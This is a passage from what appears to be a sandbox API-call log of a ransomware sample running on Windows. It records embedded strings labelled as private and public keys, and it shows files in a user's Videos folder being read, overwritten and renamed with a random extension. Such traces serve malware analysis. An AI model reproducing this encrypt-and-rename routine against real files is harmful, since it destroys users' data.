8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.881] GetCurrentThreadId () returned 0xa30 [0087.882] GetCurrentThreadId () returned 0xa30 [0087.882] GetCurrentThreadId () returned 0xa30 [0087.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.882] GetCurrentThreadId () returned 0xa30 [0087.883] GetCurrentThreadId () returned 0xa30 [0087.883] GetCurrentThreadId () returned 0xa30 [0087.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\gagQPb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\gagqpb.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.883] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.883] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.883] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x18b46 [0087.883] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.883] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x18b46, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x18b46, lpOverlapped=0x0) returned 1 [0087.886] CloseHandle (hObject=0x11c) returned 1 [0087.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\gagQPb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\gagqpb.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.891] WriteFile (in: hFile=0x11c, lpBuffer=0x1f19f70*, nNumberOfBytesToWrite=0x18b46, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f19f70*, lpNumberOfBytesWritten=0x18f6ac*=0x18b46, lpOverlapped=0x0) returned 1 [0087.897] CloseHandle (hObject=0x11c) returned 1 [0087.900] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\gagQPb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\gagqpb.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\gagQPb.swf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\gagqpb.swf.zv7un")) returned 1 [0087.901] GetCurrentThreadId () returned 0xa30 [0087.902] GetCurrentThreadId () returned 0xa30 [0087.902] GetCurrentThreadId () returned 0xa30 [0087.902] GetCurrentThreadId () returned 0xa30 [0087.902] GetCurrentThreadId () returned 0xa30 [0087.902] GetCurrentThreadId () returned 0xa30 [0087.902] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe186fe30, ftCreationTime.dwHighDateTime=0x1d5de53, ftLastAccessTime.dwLowDateTime=0x4857f8b0, ftLastAccessTime.dwHighDateTime=0x1d5db27, ftLastWriteTime.dwLowDateTime=0x4857f8b0, ftLastWriteTime.dwHighDateTime=0x1d5db27, nFileSizeHigh=0x0, nFileSizeLow=0x12179, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="qRlN1f.swf", cAlternateFileName="")) returned 1 [0087.902] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.902] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.902] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\qRlN1f.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\qrln1f.swf"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe186fe30, ftCreationTime.dwHighDateTime=0x1d5de53, ftLastAccessTime.dwLowDateTime=0x4857f8b0, ftLastAccessTime.dwHighDateTime=0x1d5db27, ftLastWriteTime.dwLowDateTime=0x4857f8b0, ftLastWriteTime.dwHighDateTime=0x1d5db27, nFileSizeHigh=0x0, nFileSizeLow=0x12179)) returned 1 [0087.902] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\qRlN1f.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\qrln1f.swf")) returned 0x20 [0087.902] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\qRlN1f.swf", dwFileAttributes=0x80) returned 1 [0087.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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